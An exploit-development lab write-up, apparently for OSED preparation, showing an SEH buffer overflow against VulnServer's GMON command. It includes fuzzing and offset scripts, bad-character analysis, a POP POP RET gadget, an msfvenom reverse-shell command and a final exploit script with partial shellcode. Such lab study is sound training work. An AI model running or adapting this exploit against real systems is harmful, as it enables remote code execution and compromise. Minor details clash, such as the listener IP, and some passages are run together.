AVILX
EXPLOIT DEVELOPMENT · SEH BUFFER OVERFLOW · 2026
VulnServer GMON
SEH Buffer Overflow · OSED Preparation · Structured Exception Handling · No Protections
| Target | VulnServer 1.00 — GMON command |
| Platform | Windows 10 Pro (x64) |
| Protections | No ASLR · No DEP · No SafeSEH |
| Attacker | BlackArch Linux |
| Debugger | WinDbg |
| Disassembler | IDA Free |
| Analista | Jesús Ávila (Avilx) |
| Fecha | Octubre 2026 |
| Portafolio | avilx.dev |
Entorno de laboratorio autorizado | Solo con fines educativos
exploit-dev-labs / vulnserver-seh
fuzzer.py · offset.py · seh_verify.py · badchars.py · egghunter.py · exploit.py · 0.py
Overview
This lab demonstrates how Structured Exception Handling (SEH) overflows work and how to exploit them. The target is a Windows 10 virtual machine running VulnServer, a deliberately vulnerable application exposing 12 commands. The vulnerable command in this lab is GMON, which is susceptible to a SEH-based buffer overflow. The goal was to exploit GMON, understand how SEH exploitation differs from a classic stack overflow, and obtain a reverse shell as preparation for the OSED certification. The result was successful: a reverse shell was obtained on DESKTOP-SL1FVD0, confirming full compromise of the target.
Environment Setup
Attacker Machine
| Component | Details |
|---|---|
| Operating System | BlackArch Linux |
| Python Version | Python 3.14.8 |
| Tools | Python scripting, msfvenom |
Target Machine
| Component | Details |
|---|---|
| Virtualizer | VMware Workstation Pro |
| Operating System | Windows 10 Pro |
| Application | VulnServer 1.00 |
| Debugger | WinDbg |
| Disassembler | IDA Free |
| Protections | No ASLR, No DEP, No SafeSEH |
Network Configuration
| Host | IP Address |
|---|---|
| Attacker (BlackArch) | 192.168.174.1 |
| Target (Windows VM) | 192.168.174.132 |
| VulnServer Port | 9999 |
Service Reconnaissance
Service Banner
nc 192.168.174.132 9999
Welcome to Vulnerable Server! Enter HELP for help.
Available Commands
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
Fuzzing
Fuzzer Script
import socket
from time import sleep
ip = "192.168.174.132"
port = 9999
buffer = "A" * 100
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print(s.recv(1024))
s.send(('GMON /' + buffer).encode())
s.close()
sleep(1)
buffer = buffer + "A" * 100
except:
print(f"Crashed at {len(buffer)} bytes")
break
Result
Crashed at 4100 bytes
!exchain confirmed that the SEH handler was overwritten with 0x41414141, indicating that the buffer reached and corrupted the SEH record.Offset Calculation
Pattern Generation
/opt/metasploit/tools/exploit/pattern_create.rb -l 4100
Offset Script
import socket
ip = "192.168.174.132"
port = 9999
buffer = "..." # 4100-byte cyclic pattern generated with pattern_create.rb -l 4100
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print(s.recv(1024))
s.send(('GMON /' + buffer).encode())
s.close()
SEH Values at Crash
/opt/metasploit/tools/exploit/pattern_offset.rb -l 4100 -q 356f4534
[*] Exact match at offset 3554
/opt/metasploit/tools/exploit/pattern_offset.rb -l 4100 -q 6f45336f
[*] Exact match at offset 3550
!exchain output.SEH Overwrite Verification
!exchain output is expected to show 0x42424242 in nSEH and 0x43434343 in SEH.import socket
ip = "192.168.174.132"
port = 9999
buffer = b"A" * 3550 + b"B" * 4 + b"C" * 4 + b"D" * (4100 - 3558)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print(s.recv(1024))
s.send(b'GMON /' + buffer)
s.close()
!exchain. Full control of the SEH record verified.NOTE
The hypothesis predicted B values in nSEH and C values in SEH. The result showed the opposite — B at nSEH (3550) and C at SEH (3554) were swapped in the actual record. This confirms nSEH is at offset 3550 and SEH handler is at offset 3554.Bad Characters Identification
\x01 to \xff will be placed after the SEH record in the buffer and inspected in memory using db esp in WinDbg.import socket
ip = "192.168.174.132"
port = 9999
badchars = b""
for i in range(1, 256):
badchars += bytes([i])
buffer = b"A" * 3550 + b"B" * 4 + b"C" * 4 + badchars
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print(s.recv(1024))
s.send(b'GMON /' + buffer)
s.close()
\x01 to \xff were placed after the SEH record in the buffer. Memory inspection using db in WinDbg showed the sequence intact from \x01 to \x2c, after which the buffer was truncated. The confirmed bad characters are \x00 and \x2d (the ‘-’ character).Finding POP POP RET
\x00, \x2d), as they would corrupt the address before it reaches the SEH record.Module Analysis with IDA Free
File loaded: essfunc.dll
Search -> Sequence of bytes: 58 5D C3 (POP POP RET)
Result: POP POP RET gadget found at 0x625010B4
pop ebx
pop ebp
ret
Verification in WinDbg
0:003> u 625010B4
essfunc+0x10b4:
625010b4 5b pop ebx
625010b5 5d pop ebp
625010b6 c3 ret
u command. Address contains no bad characters (\x00, \x2d). Module has no SafeSEH.Shellcode & Exploitation
Shellcode Generation
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.174.124 LPORT=4444 -b "\x00\x2d" -f python
Payload size: 351 bytes
Encoder: x86/shikata_ga_nai
Final Exploit Script
import socket
from struct import pack
ip = "192.168.174.132"
port = 9999
# Full reverse shell shellcode (351 bytes, shikata_ga_nai encoded)
buf = b""
buf += b"\xbd\xe2\xba\x6c\xc1\xdd\xc1\xd9\x74\x24\xf4\x58"
buf += b"\x29\xc9\xb1\x52\x31\x68\x12\x83\xe8\xfc\x03\x8a"
buf += b"\xb4\x8e\x34\xb6\x21\xcc\xb7\x46\xb2\xb1\x3e\xa3"
# ... (full shellcode in exploit.py, see GitHub)
nseh = pack('<L', 0x08EB9090)
seh = b"\xb4\x10\x50\x62" # POP POP RET address
nops = b"\x90" * 4 # alignment
jump_back = b"\xe9\xff\xfd\xff\xff" # jump back into shellcode
shellcode = b"\x90" * 4 + buf
shellcode += b"C" * (500 - len(shellcode))
buffer = b"A" * (3550 - 500) + shellcode + nseh + seh + nops + jump_back + b"D" * (4000 - 3550 - 4 - 4 - 4 - 5)
print(f"Buffer length: {len(buffer)}")
print(f"Shellcode length: {len(shellcode)}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print(s.recv(1024))
s.send(b"GMON /" + buffer)
s.close()
Exploit Execution
A Netcat listener was started on port 4444 to catch the incoming reverse shell. The exploit sent a structured buffer of 4000 bytes: 3050 ‘A’ bytes followed by the 500-byte shellcode space, nSEH overwritten with a short jump forward 8 bytes, SEH overwritten with the POP POP RET address at 0x625010b4, 4 NOP bytes for alignment, a 5-byte backward jump redirecting execution into the shellcode, and padding ‘D’ bytes to trigger the crash. Upon execution, a reverse shell connected back from DESKTOP-SL1FVD0 as user avilx.
Proof of Exploitation
C:\Users\Avilx\Desktop\vulnserver-master>whoami
whoami
desktop-sl1fvd0\avilx
C:\Users\Avilx\Desktop\vulnserver-master>hostname
hostname
DESKTOP-SL1FVD0
Final Reflection
What Went Well
The reconnaissance, fuzzing, offset calculation, SEH overwrite verification, and POP POP RET identification all worked correctly on the first attempt. WinDbg was used effectively throughout — stepping through the exception chain instruction by instruction confirmed that every piece of the exploit was landing correctly. IDA Free was used successfully for the first time to identify the POP POP RET gadget.
What Went Wrong
The main difficulty was shellcode execution. Multiple approaches failed: the standard egghunter was incompatible with Windows 10 syscalls, shikata_ga_nai caused stack corruption when placed after SEH, and the backward jump offset was miscalculated several times. Windows Defender also silently blocked the reverse shell payload without any visible error, which caused significant confusion during debugging.
Lessons Learned
Not every exploit follows a linear path. Real exploit development requires patience, systematic debugging, and the ability to adapt when an approach fails. The egghunter failure led to reading a writeup for structural guidance on the two-jump technique, which then had to be adapted to this specific environment. The most important lesson is that each failed attempt produces information that narrows down the problem.
Difference from Lab 01
In Lab 01 (VulnServer TRUN), EIP was overwritten directly and a JMP ESP redirected execution to shellcode on the stack. In SEH exploitation, EIP is never overwritten directly — instead the SEH handler is overwritten with POP POP RET, which walks the stack back to nSEH, which then jumps to the shellcode. This technique appears in real CVEs when stack cookies or other protections prevent direct EIP overwrite but SEH is not protected.
Connection to Vulnerability Research
During exploitation it was suspected that SafeSEH might be blocking the shellcode. This was verified using the WinDbg command !dh -f essfunc, which showed 0 DLL characteristics — confirming that SafeSEH was not enabled. SafeSEH works by validating SEH handler addresses at runtime against a whitelist of approved handlers compiled into the binary. If the overwritten SEH address is not on that list, Windows rejects it and prevents execution. Had SafeSEH been enabled, a bypass would require finding a POP POP RET gadget inside a module compiled without SafeSEH, or using a different exploitation technique entirely.
Time Breakdown
| Phase | Time |
|---|---|
| Reconnaissance & Fuzzing | 1 Hour |
| Offset & SEH Verification | 30 Minutes |
| Bad Characters | 10 Minutes |
| POP POP RET (IDA Free) | 10 Minutes |
| Shellcode & Final Exploit | 4 Hours |
| Total | 5 Hours 50 Minutes |